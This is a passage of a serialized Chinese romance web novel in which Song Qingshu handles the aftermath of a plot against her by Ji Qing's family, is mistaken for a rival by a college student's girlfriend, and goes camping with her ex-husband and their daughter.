宋清殊刚经历了那样的恶性事件,脑子有点木,起初竟然没觉得有什么不对。
待盛熙川把围巾在她脖子上绕了一圈后,才反应过来。
“我自己来。”她说。
盛熙川也不再强求,任凭她自己系好。
他将她开车送回家。
路上假装不经意问起那个帅气的大男孩来。
“他叫什么名字?”
“温世誉,上京大学的学生。”宋清殊回答,“我们挺有缘分,他家离我在花都的家只有两个路口。”
盛熙川心口发紧:“他还没成年吧?现在的孩子长得高,都显年纪。”
宋清殊:“成年了,19岁,读大二。”
盛熙川:“……”
宋清殊了解的越清楚,他的心堵得越厉害。
“明天我替你去学校谢谢他们就好了,你好好休息。”他说。
宋清殊转头看他:“他救了我,你去像什么样子?我自己,请他和他的朋友们吃个饭。”
盛熙川几次想阻止,又没有立场。
一颗心直接堵在了死胡同。
宋清殊根本没想他那些弯弯绕绕,王千巽说的那番话,她是走了心的,但也不至于草木皆兵,连19岁男孩都不放过。
她看温世誉跟看陆展差不多,根本没什么非分之想。
第二天,宋清殊真的去了温世誉学校。
周日没课,一群男孩子又在打篮球。
宋清殊去学校超市买了一大兜水和饮料,坐在场边等。
她的青春本该也是这样子,坐在国内的校园里看帅气的男大学生打球,而不是被流放国外,交不到一个朋友。
她过去一直觉得是自己害了自己,如今看来,季卿和宋家才是罪魁祸首。
她望着那帮学生出神,也有男孩子在看她。
“同学,方便加个微信吗?”甚至有个胆大的直接过来搭讪。
宋清殊今天穿的比较休闲,牛仔裤,平底鞋,外面穿一件白色羊绒大衣,倒的确看不太出年龄。
她摇摇头。
“抱歉啊,不方便。”
“加一个嘛。”那男孩越挫越勇,并没有走的意思,反而直接坐在了她身边。
“你是哪个系的?之前怎么没见过你?”
宋清殊实在拿这孩子没办法,她只是笑了笑,没有回答他。
待男孩又要开口,一颗球对着他砸过来,并没有用力,碰到他腿,又迅速弹开。
那颗球弹回温世誉手里,他拿着走了过来。
对那男孩说:“去去去,一边玩去。”
随即坐到了宋清殊身边。
那男孩瞪大了眼睛:“温世誉,这是你女朋友啊?”
宋清殊尴尬,正要纠正。
温世誉抢先开口:“你什么眼神?看不出来这是我姐姐吗?”
那男孩还不好意思地挠了挠头:“你姐姐啊。”
又对着宋清殊星星眼:“姐姐,你好漂亮!”
后来,昨天的那几个男孩都来了。
宋清殊便约他们出去吃饭。
漂亮姐姐请客,一个个高兴极了。
宋清殊也挺高兴,没想到自己有一天能同时跟六个青春男大吃饭。
第242章 季家妥协
宋清殊虽然不是在国内读的大学,但也是学管理的,跟几个男孩子同专业。
再加上现在的小孩情商高,嘴又甜,一个个姐姐长,姐姐短地叫着。
宋清殊跟他们聊聊学业,又聊聊生活,倒是不冷场。
期间,温世誉出去接了个电话,时间不短。
一起吃饭的男孩子有一个笑道:“肯定是女朋友查岗来了!”
宋清殊笑问:“怎么,温世誉有女朋友啊?”
“当然有!他女朋友可作了,又没有安全感,一会儿见不到就打电话闹!”
那群男孩子七嘴八舌,跟宋清殊抱怨。
说温世誉的女朋友和他是青梅竹马,又一起考到了上京大学。
那女孩很漂亮,但是性格特别跋扈,查岗查的特别严,总需要哄着,哪怕是温世誉跟他们一起打球,去网吧,她也会一直打电话开视频。
总之是他们都不喜欢她。
宋清殊听得想笑,心说这不过是一个愿打一个愿挨的事,这帮孩子还是太偏激了。
便把话题往他们身上引:“你们有女朋友吗?”
一问,还几乎都有。
“大学就该谈恋爱,不然多遗憾。”宋清殊想。
如果她在国内读大学,跟合适的人恋爱过,也不至于第一段真正的感情经历放到婚后,走得那么艰难。
这帮男孩有点唯温世誉马首是瞻的意思,都像他的小弟。
宋清殊记得花都有个大家族,好像是姓温的,不知温世誉跟这个家族有没有关系。
她没有去查,也不是很在乎。
温世誉是她的救命恩人,就该值得她真心相待,家境如何跟她无关。
过了一会儿,温世誉回来了,黑着脸。
“又吵架了?”一个男孩问。
“我跟她说分手了。”温世誉说,又摆摆手,“不提她,吃饭!”
吃完饭,宋清殊又将这帮男孩送了回去。
往学校里递交了感谢信。
陆家给上京大学捐过教学楼,她的感谢信校方很重视,当即同意了给几位同学加学分和颁发“见义勇为奖”。
少年时期,荣誉是比金钱更重要的东西,宋清殊知道,这些回报,他们会喜欢。
除此之外,她还让陆夫人加派人手保护他们一段时间,以防这帮孩子被打击报复。
不管怎么说,认识温世誉和他的小伙伴们,对宋清殊来说也是一段很奇妙的缘分了。
她做这些事的时候,盛熙川在审问那三个人。
宋清殊也不知道他用了什么手段,反正他们是招了。
他们口径一致,说这件事是季卿指使。
季卿要他们给宋清殊下药,轮流对她用强,拍照。
再把照片传出去,发到网上,造她的黄谣,说她为了业务勾引甲方,让她身败名裂。
那份口供被盛熙川直接拿来了给她,音频和文字版都有。
“你准备怎么处理?”盛熙川问她。
宋清殊沉吟:“不急,先看看季家的态度。”
盛熙川说,季卿的父亲和爷爷已经去临江别墅找过他两次了,他都没有见。
“估计下一步就是要来找你了。”
宋清殊等着。
原本想的直接曝光出去就好,让季卿身败名裂。
现在冷静下来,又觉得季家毕竟相对特殊一些,如果凡事都拿到明面上来撕,牵扯的就不只是季卿自己。
季卿的爷爷季国强是隔壁市的前市长,牵扯的利益链也长。如果季国强因为季卿被查,势必会产生多米诺骨牌效应,让一系列官员跟着遭殃。
到那时候,不管是陆家还是她,想过安生日子可就难了。
关于这件事,陆夫人也是这么想的。
她听说宋清殊遭算计,第一时间先取消了和那个赵姓老男人的合作。
来看宋清殊时,眼睛都是红的。
“要不是为了干妈,你在花都安心享受生活,也不会遇到这么多麻烦。”
陆夫人满心愧疚,她把莫兰溪出事,宋清殊遇到的麻烦,一股脑的都放在了自己身上,内耗得厉害。
陆先生去世半年,陆夫人肉眼可见地老了五岁。
宋清殊安慰她:“干妈,人生往前走就会遇到困难,这是非常自然的事。我也不可能一辈子什么都不做,坐吃山空,对不对?”
又说,“干爸去世,展展还小,家里需要我,我怎么能不回来?
至于兰溪,一辈子那么长,把这件事放到人生长河中去看,未必是坏事。”
莫兰溪注定跟霍宗辞纠缠一辈子。
就像她,哪怕不复婚,有珍珠的存在,就没办法彻底跟盛家割席。
宋清殊已经想通了。
她可以跟盛熙川做朋友,做战友,共同把珍珠抚养长大,等以后有机会还可以在生意上合作。
基本上也就这样了。
复合,他们差一点缘分。
就像当初明明没有缘分,却硬要结婚时那样,闹个两败俱伤。
她不是19岁的温世誉,已经有点伤不起了。
但说回她被下药这件事,应该不是季卿单线联系那么简单,保不齐陆氏有人里应外合。
宋清殊把大年初一在茶楼遇见陆二叔和陈南枝的事跟陆夫人说了。
母女两人都觉得上次图纸泄露一事,也跟陆二叔脱不了干系。
陆三叔固然有罪,但他性格鲁莽,很大可能被陆二叔当枪使了,陆二叔才是背后的主谋。
宋清殊静静地等一天,之后便有人往陆氏前台打电话约见她,让秘书递了张名片过来。
宋清殊一看:季春望。
是季卿的父亲。
宋清殊让前台转告他在会客室等,他却托前台传话,问可否请她在楼下喝个咖啡。
宋清殊没有推辞。
上午10:00,他们坐在了陆氏楼下的咖啡厅里。
宋清殊小时候见过季春望,知道他是个不苟言笑的人,很拿架子。
此时,为了自己女儿,或者说为了家族名声,倒也也做小伏低起来。
季春望倒是没提珍珠陷害季卿的事。
这个事,在他看来,尤其上不了台面。
哪怕都不相信她,觉得就是她丢了宋清殊手机又能怎么样?不过是在盛熙川心理减几分,减了分,也还可以在别处找。
她还是她的季家小姐,什么都不影响。
可她因为这个事,又跟林家做对,又派人跟踪宋清殊,大动干戈,就太说不过去了。
他一个长辈,原本是过来替她求情的,一开口再提,是你家女儿惹事在先,像什么样子!
毕竟珍珠才三岁!
季春望只说:“清殊,过去你跟昭昭是朋友。季卿还小,看在往日情分的份上,能不能别跟她一般见识?”
第243章 谈判的态度
不提往日,宋清殊的心气兴许会更顺点。
情分?哪有什么情分!
要不是季昭昭和季卿姐妹,她也不至于在年少时期被往国外一丢就是八年。
她那时候太小,只会怨怼自己,现在长大了,才学会不把过错都揽到自己头上。
宋清殊神色淡淡:“季伯伯,我们直入正题吧。”
她先把自己准备好的东西放在了桌上。
“这里面都是季卿的黑料,不管是她在国内读书时霸凌同学,还是靠捐助名校买学历,实际四年里一天都没在学校出现过,以及她这次买凶强暴我未遂,都有。”
季春望的脸色变了变,却强作镇定。
“现在老爷子已经退了,你如果把这些东西曝光出去,对老爷子的影响并没有你想象中的那么大,反而会牵涉一些不相干的人。
清殊,你是个聪明孩子,要想想清楚。盛熙川对你余情未了也好,或者看你是他孩子的亲妈也好,或许会保你。
但陆家和宋家呢?我们老爷子站队的那位可是正得势,真闹得太难看了,你也不好收场。”
两人的咖啡端上来,宋清殊饮一口,眼睛穿过杯口看他:“季伯伯,你威胁我?”
说这话时,她不恼,甚至还带着点笑意。
季春望被她笑得浑身发毛。
“别多心,不是威胁你,毕竟这么多年的交情了,伯伯也是给你提个醒。”他强撑着说。
宋清殊点点头:“提醒收到,那感谢季伯伯替我考虑,我就先回去上班了。”
季春望:“……”
他没料到这个小时候斯文恬静的小姑娘这么软硬不吃。
本以为吓唬两句她就乱了主意,到时候自己再给她个台阶下,把季卿叫过来跟她道个歉,最多再给点钱,这事儿也就暂时过去了。
可宋清殊显然不是这个意思。
她没说自己会怎么做,但季春望不敢赌。
“宋清殊,你什么意思?”他在身后叫她。
宋清殊立住,回头:“我以为,季伯伯替女儿道歉,至少会拿出一个好态度。可季伯伯这样子,明显是想吓住我,而不是好好谈。”
季春望没想到她这么难搞,脸色更加难看。
他强行调整自己,逼自己面带笑容。
“清殊,你误会了。伯伯不是这个意思。”
他站起身来,对宋清殊陪笑脸:“伯伯没把话说明白,那咱们再好好谈谈,给伯伯个机会?”
季春望是官/二代,从来都是别人对他低三下四。
晚辈里,他也就对盛熙川客气,没想到如今却要对宋清殊陪笑脸,他窝了一肚子火。
都怪他不成器的女儿!
之前想撮合她跟盛熙川,后来发现盛熙川没有这个意思也就算了,谁知道她像得了失心疯,非盛熙川不嫁了。
现在倒好,被拿了把柄,还要他来替她收拾烂摊子!
来之前季春望就给了季卿一个耳光了,现在看打得还是轻了。
季春望看着宋清殊又坐回来,在心里燃起了一点希望。
宋清殊:“那伯伯准备怎么处理这件事?”
季春望说,他回去让季卿跪三天祠堂不许吃饭,之后,再过来给宋清殊磕头认错,保证以后再也不打扰她。
这个提议宋清殊不接受。
“季卿嚣张跋扈,留在国内也只会给您惹事,我要是您,就把她送出国去。”宋清殊说。
“她人在外面,惹不到同胞,也避免了季老爷子晚节不保。您说呢?”
季卿让她在异国他乡过了八年痛苦的日子。
一报还一报,如果季卿也出去八年,她可以考虑所有烂帐一笔勾销。
“她爷爷年纪大了,姐姐又已经出嫁,想享受天伦之乐,才让她回来的。”季春望犹豫。
宋清殊:“季伯伯,您回去考虑考虑,我等您到明天这个时候。”
她这次起身离开,没给季春望再开口的机会。
第244章 季卿出国
季春望回去后,叫着季卿开了个家庭会议。
季国强,季春望夫妇,和季家的几个得力手下都在。
季春望先打了季卿两个耳光。
季卿立在一旁不敢说话,季国强心疼得直皱眉,却也没作声。
“你欺负谁不行,欺负宋清殊?还当她是那个没人要的野孩子呢?”季春望怒气冲冲。
季卿知道自己这次惹了祸,不敢作声。
于是,季春望便把宋清殊的要求说了。
“说起来,无非是她觉得那些年自己在国外受苦了,要把卿卿也送出去吃几年苦。”
“她说几年?”
“没说,但总不可能一年两年这么简单。她在国外可是呆了八年!”
季国强直皱眉头,自己能不能活八年都说不定,到那时候,他宝贝孙女最好的时光都没了。
“她说送出去就送出去?她手里既然有那些证据,这次就算不发出去,保不齐哪天还要发,难不成咱们季家要被她拿捏一辈子?”
手下也说:“不如干脆除掉她,人死了,就什么都没了。”
季春望不敢说自己父亲,骂手下:“你知道个屁!现在别说宋清殊和盛熙川一条心,就算两人交恶,她到底是他孩子的妈!
我这几天想去盛家走动走动,老宅和临江别墅门都没让我进!”
宋清殊要是这个节骨眼死了,盛家会第一时间盯上他们。
此言一出,季国强先发现了严重性。
“盛熙川鬼迷心窍,连盛寒寺也拎不清?”他诧异,心说如果盛万疆老爷子活着一定不会这样,怎么也会给他几分面子。
季春望好似老头子肚子里的蛔虫,马上知道他想什么。
“何止他们父子,盛老爷子的遗产三分之一都是宋清殊的!”
满屋子人沉默下来。
季卿出国成了板上钉钉的事。
后来,季国强干脆先宽慰自己:出国又不是不能回来,宋清殊难不成还要24小时监控季卿?
大不了先送出去,每个月回来一趟就好。孙女不回来,他还能过去看,他的私人飞机闲着也是闲着。
这么想着,他释怀下来。
“你去跟宋清殊谈,卿卿出去最多三年,但也必须要她一个承诺,把柄在她手里,她要是不守信用,咱们全完蛋。”
于是,季春望又去了。
一听他同意了,宋清殊点点头,拿出了一个人脸打卡机来。
“让季卿每天早晚打卡,我这边可以看见定位。三年后回来,两不相欠。”
“你!”季春望瞠目,“你别太过分!”
宋清殊:“我这么做有什么问题吗?季伯伯该不会想骗我,一边说把季卿送了出去,一边悄悄让她回来吧?”
季春望:“……”
他哑口无言,拎着那个打卡机灰溜溜走了。
对于他想要的承诺,宋清殊没给。
“我说不会发出去就肯定不发,季伯伯不信,我也没办法。”
这件事,季家就这么妥协了。
季卿临走前,还特地过来威胁了宋清殊一番。
“宋清殊,我三年之内一定搞死你,你信不信?”
宋清殊冷笑:“加油,没用的东西。”
季卿当然不可能就此罢休,她走也不过是缓兵之计。
但这件事,宋清殊赢了,也能暂时喘口气。
又过了一段时间,入夏了,也没见霍宗辞回来。
他提了离职,具体原因没说,但大概率因为莫兰溪。
宋清殊顺理成章地顶替了他的位置。
这半年多,她做得多好,众人都看在眼里,倒是没有人提出非议。
陆二叔也消停了几天。
但宋清殊和陆夫人都知道他贼心不死,都没有放松警惕。
果然,某天陆展回来说在学校看到了陆枭。
陆夫人去查,才发现他转学到了
两人紧急给陆展开了家庭会议,要他处处小心,不要冲动,有什么事还有陆夫人和宋清殊。
“放心,我又不是小孩子了,不会鲁莽的。”陆展说。
他做事一向谨慎可靠,陆夫人和宋清殊都信的过他。
可即便如此,陆夫人还是加派了人手暗中保护,接送上学的司机换了个能打的不说,还额外增加了一名保镖。
陆枭转学到陆展学校,绝不会是巧合这么简单,宋清殊和陆夫人嘴上不说,却都在等陆二叔和陈南枝的进一步行动。
又一天,宋清殊去林远洲的公司对接业务,竟然看到了许久不见的温世誉。
“你怎么在这里!”两人异口同声。
原来,温世誉是孟令贤表弟,果然是花都温家最小的儿子。
几个人聊起来,都在感慨世间竟然有这么巧的事。
孟令贤夸温世誉:“你小子天天吊儿郎当,没想到居然能做出这样让姐姐刮目相看的事来。”
又想起什么,大笑不已,“原来熙川说的那个黄毛就是你!”
那件事过去后,宋清殊和温世誉也没有再联系过,如今再见面,都挺高兴。
等宋清殊对接完工作,四人一同吃了午饭。
温世誉问宋清殊是否顺路,送他回学校。
宋清殊疑惑:“今天居然没开你那辆帅帅的摩托车炸街吗?”
温世誉哭丧个脸:“我跟廖绮分手,我妈知道了,把我摩托车收走,卡也停了。我现在每个月就一万块生活费。”
一万块,对他这种开百万摩托的公子哥儿的确少了。
孟令贤补刀:“姨妈还电话让我不要支援你,你好自为之!”
一直坐到车里,温世誉还老大不高兴。
他主动说起自己那个青梅竹马的大小姐女朋友廖绮来。
说两家关系好,便给他们定了娃娃亲,又因为廖绮比他小,便一直要他照顾。
廖绮大小姐脾气,爱作闹,他实在受够了。
宋清殊又不认识廖绮,只能听他一面之词,所以并不在心里作评判,只是开导他两句。
温世誉吐槽廖绮控制欲太强。
“我能接受她偶尔查手机,也能接受天天早安晚安,可她要我不管做什么都报备算什么鬼?我就不能有自己隐私吗?”
说激动了还要问宋清殊共鸣:“你说是不是?”
宋清殊尴尬:“虽然我连孩子都生了,可感情经验,还真未必有你丰富……恕我给不了你意见。”
车子行至上京大学门口。
“就停这里吧。”温世誉说。
宋清殊下车跟他告别。
就在这个时候,好几个女孩突然围了上来。
第245章 离谱新闻
“原来是你插足我和世誉的感情!”
其中一个单凤眼,衣着火辣的女孩说。
随即,有好几个女孩冲过来。
“居然敢破坏绮绮的感情!”
“打死你个小三!”
……女孩们不由分说,把宋清殊围在了中间。
宋清殊还没来得及开口解释,被廖绮头发用美甲抓花了脸。
温世誉早就顾不得什么绅士风度,大力把几个女孩分开,把宋清殊从人群里拉出来护在怀里。
温世誉声音狠戾,满满的不耐烦:“廖绮,你跟踪我?”
廖绮也不甘示弱,大喊大叫:“你居然还护着她!温世誉,我们这么多年的感情,都不如这个小三吗?”
又去温世誉怀里扯宋清殊:“你是不是这个学校的?哪个系哪个班?我要去告诉你们导员!”
宋清殊脸上疼得厉害,一摸才发现见了血。
她比面前的这些孩子冷静得多,叹口气,拍了拍温世誉手臂道:“我来跟她说吧,没事。”
温世誉这才放手。
廖绮显然有备而来,那一下给宋清殊脸上抓了好几个血道子,看上去触目惊心。
但宋清殊自己不知道,只是静静地看着廖绮。
“小妹妹,你捍卫自己爱情的出发点是好的。但你能不能搞清楚对象?
我是温世誉表姐的朋友,比你们大至少8岁。
最重要的是,我并不想抢你的男朋友,我对你构不成威胁。
但你和你这些朋友们今天的行为,已经损害了我的名誉权,我会保留诉讼的权利。
想必各位也不想上大学到一半被劝退吧?”
宋清殊做梦也不会想到,自己会27岁“高龄”,被一帮十八九岁的女大学生当成小三打。
她觉得离谱到无语。
可能是因为她的神情太冷静,没有一丝慌乱和心虚。也可能是因为她说话时的掌控感太强。
总之,她的话廖绮是相信的。
廖绮肉眼可见的蔫儿了下来。
“你就这么送他来学校,我之前又没见过你,认错了也不奇怪。”她小声嘟囔。
温世誉冷笑:“你乱打人,还有理了?一会儿我就跟姐姐去报案,把你们抓起来!”
那帮表面替廖绮“伸张正义”,实际拿了好处的女孩子们一听更是吓坏了。
一个个脸色都变了。
“姐姐,我……我错了姐姐。”有一个甚至哭了出来。
那个女生一抹眼泪,其他的也就跟着抹。
一个个看上去惨兮兮的。
廖绮外强中干还在硬撑:“你都说比我们大这么多了,总不至于跟我们计较吧?”
都是小女孩而已,宋清殊也没有真想跟她们计较。
刚才那番话也不过是为了震慑她们,让她们以后不要那样冲动。
但廖绮这话说的真让人膈应。
宋清殊突然开始赞同了温世誉一路上对廖绮的吐槽。
“你快回去上课吧。”她拍了拍温世誉的肩,没有再理这帮小女孩,直接上车。
车子启动前,宋清殊还听到了温世誉和廖绮的争吵声。
宋清殊去医院处理了脸上的伤口。其中一道比较深,医生说有留疤的风险。
她平白被划了脸,遭受这样的无妄之灾,只觉得晦气。
当天实在狼狈,下午便没有回公司,把工作拿回了家处理。
第二天在公司,也基本上带着口罩。
她实在怕被人关心伤口的来历,总不能说自己被一个十几岁的孩子当小三打了,听着未免也太荒唐。
第二天晚上临下班前,她接到了温世誉微信。
“姐姐,我在一楼接待室等你。一会儿见。”
宋清殊手里恰好有个要紧的工作,便回了个“稍等”,一直到忙完才下去。
温世誉等在会客厅的沙发上睡着了。
宋清殊已经忘记了他们第一次见面的时候,他的头发是什么样子,可现在看,他黄色的小卷发看上去像绵羊的毛。
柔软又好摸的样子。
她鬼使神差,竟然真的伸手揉了一把。
温世誉睁开眼,琥珀色的眼睛带了点迷蒙的水汽。
声音也很软:“姐姐。”
185CM肌肉男孩突然展现出了软乎乎的一面,还怪可爱的。宋清殊想。
“走了。”她说。
温世誉起身跟上她,接着,伸出手来。
宋清殊猝不及防,被他摘了口罩。
脸上的伤口擦了药,看上去更加狰狞,温世誉倒吸了一口凉气。
他又开始骂廖绮。
宋清殊无奈:“好啦,好啦,过去就过去了。”
又故作轻松地玩笑,“没想到,我一把年纪还能被十几岁小女孩当假想敌。也算是一种人生阅历吧。”
温世誉却满心愧疚,拉着宋清殊要请她吃饭。
宋清殊笑得揶揄:“确定吗?现在月底,你还有生活费?”
温世誉有点不好意思:“像那天那么高档的地方肯定去不起了,我可以请你吃路边摊。”
宋清殊又笑:“好,那就路边摊。”
初夏,晚风都带了暖意。
很多平价餐厅都在外边支了桌子。他们找了家店吃麻辣小龙虾,就坐在外边。
温世誉很会照顾人,戴着手套替宋清殊剥了不少虾。
“这么有绅士风度呢。”宋清殊像夸一个孩子。
温世誉忍不住翻了个白眼:“我也就比你小7岁零9个月,你不要用这种夸好大儿的语气好不好?”
宋清殊被他说中,忍不住讪笑。
笑完疑惑:“咦,你居然知道我生日?”
很愉快的一顿饭,宋清殊吃得很饱。
只是没想到她居然受关注到这种程度,又被人拍发到了网上。
这次是狗仔和营销号干的。
【宋清殊和一男子一起吃街边大排档,疑似新恋情曝光】
【男子为宋清殊剥虾,两人神态亲密】
更有甚者——
【宋清殊和神秘男子一同吃饭,之后共回爱巢】
神他妈爱巢,那是她开车把温世誉送回了学校。
这次新闻没有像上次宋清殊和盛熙川被拍到时热度高,但也小范围的传播了一下。
之后,迅速被别的花边新闻覆盖。
盛熙川是第一个坐不住的。
第246章 危机感
这个热搜宋清殊没有像之前一样选择冷处理。
她自己倒是不觉得怎么样,但毕竟事关温世誉的名誉问题。
温世誉救过她一命,她不能任由不利于他的新闻传播发酵。
在发现的第一时间,宋清殊就用自己的账号做了澄清。
【图中的“神秘男子”是我朋友的弟弟,只有19岁,我们只是一起吃个饭,并没有像各位说的那样,感谢关注】
她的澄清中规中矩,可意外的是,网民们却并不是很买账。
【现在姐弟恋可太普遍了!】
【19岁好啊,19岁男大体力好!】
【没事,你们两个看不出年龄差,在一起(打call)】
看着评论区的离谱言论,宋清殊简直怀疑最近上网的和前阵子上网的是两拨人。
明明前阵子全网都在希望她和盛熙川复合,怎么现在又变了口风?
这帮网民,简直是一个个唯恐天下不乱。
宋清殊怕温世誉因此困扰,还真心实意地发微信跟他道了个歉。
温世誉却根本不在乎:【管他们说什么呢,不过我看,貌似在夸我帅和体力好?】
又问:【讲真,我会不会走红啊?】
宋清殊:【……】
这话她没法接,有种被小屁孩调戏了的感觉。
宋清殊的澄清盛熙川也看到了,但他的焦虑并没有因此降低。
他相信宋清殊不会对这么个小屁孩有非份之想,却不相信温世誉。
宋清殊那么有魅力,谁会不喜欢她呢?
只不过因为他的存在,别人不敢罢了。
但温世誉年纪小,又不是上京人,初生牛犊不怕虎,说不定就想挑战一下。
宋清殊起初瞧不上他,但架不住小屁孩油嘴滑舌,万一磨久了,哪天突然动心了呢?
为了把宋清殊和温世誉的花边新闻压下去,盛熙川安排了好几个明星塌房出来做干扰,花了大价钱。
他脑子里乱七八糟,什么都做不下去,几次想去质问宋清殊,又怕两人好容易缓和的关系再次僵化。
一个人生了两天闷气,忍来忍去,实在忍不了,先去找了一趟王千巽。
“你说我还会有一个劲敌,是他吗?”他拿着温世誉照片,急匆匆问。
王千巽失笑:“我只是直觉比普通人强一点,并没有你想得那么神。”
可盛熙川盯住他不放:“可你当年拒绝给我做电击,说的就是我做了也没用,绝不可能忘掉宋清殊。你说对了。”
事实也果然如他所料,他受了那么大苦,在见到宋清殊后又回到原点。
王千巽挑眉:“但你不还是不听话,去找庸医做了。”
盛熙川臊得慌,好一阵说不出话来。
王千巽是他离婚后的第一个心理医生。
那时盛熙川状态差,急于把宋清殊从自己心里摘除,总嫌王千巽的心理治疗效果太慢。
到后来,不知从哪里听来了电击疗法,坚持要王千巽替他做。
王千巽拒绝,两人闹了个不欢而散。
“那你能看得到我和宋清殊的未来吗?”良久,盛熙川又问。
王千巽:“看不到。”
之后反问他:“如果我说上天注定你和宋清殊再无可能,她会爱上别人,你会放手吗?”
盛熙川:“不会。”
他斩钉截铁,没有一丝犹豫,说完后迅速明白了王千巽的用意。
既然他不会放手,那其实不管结果如何,都不会改变他的选择。
他对宋清殊的执念,不会因为任何人的出现或者阻挠而改变。
而与此同时,林远洲和孟令贤夫妇也看到了热搜。
两人都觉得离谱,当成笑话来看。
“这下某人要睡不着了。”孟令贤说。
“盛熙川不会连小孩的醋都吃吧?”林远洲震惊。
孟令贤笑问:“如果我跟男大传绯闻,你会不会吃醋?”
林远洲瞪大眼睛:“我马上去安慰他!”
林远洲发了廖绮的照片给盛熙川看。
【这帮做媒体的简直要疯,新闻越来越离谱。我老婆表弟有女朋友的,青梅竹马,两个人很多年了。】
他不说温世誉闹分手,搞得两家都在施压的事。
以他的经验看,不管怎么闹,两人最终还会再和好,这么多年不都是这样嘛。
说了平白给盛熙川添堵,没必要。
盛熙川对林远洲的话未置可否,私底下做了一件没品的事:他派人跟踪了温世誉几天。
这几天里,温世誉一切如常。
上课,打球,还被一个同学校的女生纠缠,倒的确没有去见宋清殊。
看着手下人发来的调查结果,盛熙川略略松了口气。
但他又反思自己,一定是最近被宋清殊给了几分好脸色,就在舒适区困住了,不敢再向前。
追妻如逆水行舟,不进则退。
他还是要创造更多和宋清殊的交集才好。
这样想着,盛熙川便强行制造了好几次偶遇。
奈何宋清殊的态度……
不好说。
她每次见他,都没有反感,但也没有欢喜,就像见到一个老朋友,聊聊天,一起坐坐,之后互说再见。
实在是没什么情绪波动,比恨他或者爱他,都让人难受。
盛熙川觉得自己如同走进了死胡同里。
不是没劝过自己,不如就潇洒放手,给她自由,自己默默守护他就好。
可他真的做不到。
也许是天气真的太好,让人想出去玩;也许是珍珠小朋友实在看不过去了,也给他创造机会。
总之,珍珠小朋友开始跟宋清殊吵着要出去露营,并强烈要求爸爸妈妈一起。
而且小朋友深暗谈判之道:“别的小朋友都爸爸妈妈一起,只有我是单亲,别人会笑话我。
再说了,又不是要你们一直在一起,一起去露营而已,妈妈如果你避嫌,就是心里有鬼。”
这番话说的有理有据,偏偏宋清殊要拆穿她。
“记得前几天某个小朋友刚告诉我,人不能活在别人的眼光里。怎么现在又怕人看笑话了?”
珍珠逻辑不自洽,很是懊恼,撅着嘴沉默了好一会儿。
宋清殊心疼女儿,才笑道:“逗你的,妈妈只是不复婚,跟爸爸还是朋友,可以一起去。
不过,只有咱们三个也不热闹,可以叫上孟令贤阿姨和林远洲叔叔。”
最近楼珏备孕成功,在家里专心养胎,是不方便去了,不然还能叫上她和苏白。
珍珠在心里只想一家三口去,但她是个是识时务的孩子,知道这样已经是妈妈做了很大的让步了,想想只能同意。
第247章 再表白一次
周末,盛熙川没带司机,亲自开了房车带众人去露营。
孟令贤和林远洲也带了孩子,他们的儿子林佑比珍珠大三岁多,和珍珠站在一起像一对可爱的金童玉女。
四个大人,两个孩子,一眼看上去就像两个普通家庭结伴出游,氛围异常和谐。
谁能想到其中一对早已离婚,是为了孩子才聚在一起呢。
林佑虽然只有六岁多,却一副小大人模样,对珍珠很照顾。
路上,孟令贤逗珍珠:“小珍珠,长大了给你佑哥哥做老婆好不好?”
珍珠一本正经:“不,我将来的丈夫不是他。”
也许是出去玩心情太放松,她竟然没有习惯性的沉默,装出一个三岁孩子该有的样子。
她跟孟令贤说完,又看宋清殊,“妈妈,我以后会嫁给一个戴金丝眼镜,手背上有一颗痣的人。”
宋清殊错愕,也不知她是信口胡说,还是真的有了预感。
前阵子王千巽不还说她没有的?
但宋清殊怕吓到林远洲夫妇,不好在车上问。
反而是林远洲笑道:“小珍珠,最近又看了关于预言家的电视剧吗?”
宋清殊也跟着笑:“小朋友们是这样,总能跟着电视剧学到新东西。”
珍珠这才意识到自己有些卖弄了,吐了吐舌头,迅速沉默了下来。
车子开到一个半山腰的露营基地。
之后,两个小朋友玩,四个大人支帐篷,从车里拿出桌子露营椅等物品摆好,又拿出了好多食物。
林远洲甚至带了一个烧烤架,用车载冰箱装了两大箱肉串过来。
“刚才看见附近有卖青菜和水果的,我去看看,给大家买一些。”孟令贤说,看了林远洲一眼,“你去不去?”
林远洲是老婆奴,马上从烧烤炉前站起来:“去去去!”
珍珠和林佑正你追我赶玩得开心,看孟令贤要走,马上喊:“孟阿姨,我和哥哥跟你一起去!”
孟令贤对着珍珠眨了下眼,一大一小两人交换了个“我懂”的眼神:“过来吧,阿姨牵着手。”
于是,孟令贤和林远洲牵着手,又分别牵了两个孩子,就这么走了。
临走,林远洲回头嘱咐:“清殊,你心细,盯着熙川点,别让他把肉烤糊了!”
这夫妻俩,无非是想给两人制造点独处空间,也算煞费苦心。
他们一走半个小时没回来。
烧烤的重任,便落到了盛熙川和宋清殊头上。
盛熙川负责把腌好的肉串放到火上,时不时旋转,撒一些干料。
宋清殊坐在他旁边,拿了孟令贤的放在一旁的手摇扇子,对着烧烤炉扇风。
谁都没有先开口,但盛熙川异常珍惜这样的时刻,面上不动声色,心跳却早就错了拍。
时间接近中午,太阳越来越晒,又有炉子烤着,热气上行,盛熙川额上开始冒汗。
他占着手,正好可以理直气壮把头凑到宋清殊面前。
“擦一下。”他说。
宋清殊便从一堆露营物品里找了纸巾,替他擦额上的汗。
两人凑得有些近,呼吸纠缠在一起。
宋清殊下意识屏息,不让独属于他的松木气息入侵。
从这个角度,她能从他敞开两颗扣子的衬衫里,看到胸口的烫伤。
异样的感觉在心口蔓延,宋清殊不合时宜的想起王千巽的话。
“摒弃一切不可能因素,余下的便是真相。”
他救她,是因为还爱她。
她因为这件事,道德绑架了自己许久,也是因为自己并没有想象中的那样坚定。
他们该何去何从?
做一辈子这样的普通朋友,也不错吧。
她讲纸巾按在他额头上,就开始发呆,一分钟都没动地方。
盛熙川轻笑一声,倏地握住了她的手。
“老婆,你为什么擦汗都不专心?”
宋清殊这才回神。
迅速替他擦了汗,抽回自己的手。
手背上还残留着盛熙川的手心温热的触感,宋清殊紧张到根本没注意盛熙川那句“老婆”。
盛熙川注意到了她的反应,连日来忐忑的心终于稍微放下。
宋清殊这样谨慎的性格,应该温水煮青蛙,急不得。
他觉得自己又摸到了合适的路径。
盛熙川继续烤肉,不一会儿,一把铁签子羊肉串出炉。
他拿了一串微微吹凉,又送到宋清殊嘴边。
“尝尝。”
宋清殊觉得自己大概是受了氛围的蛊惑,竟然没有伸手接,直接张嘴,咬下了一块肉来。
肥而不腻的羊肉,带着孜然特有的味道,满口留香。
“好吃。”宋清殊说。
盛熙川只是看着她,眉目温柔。
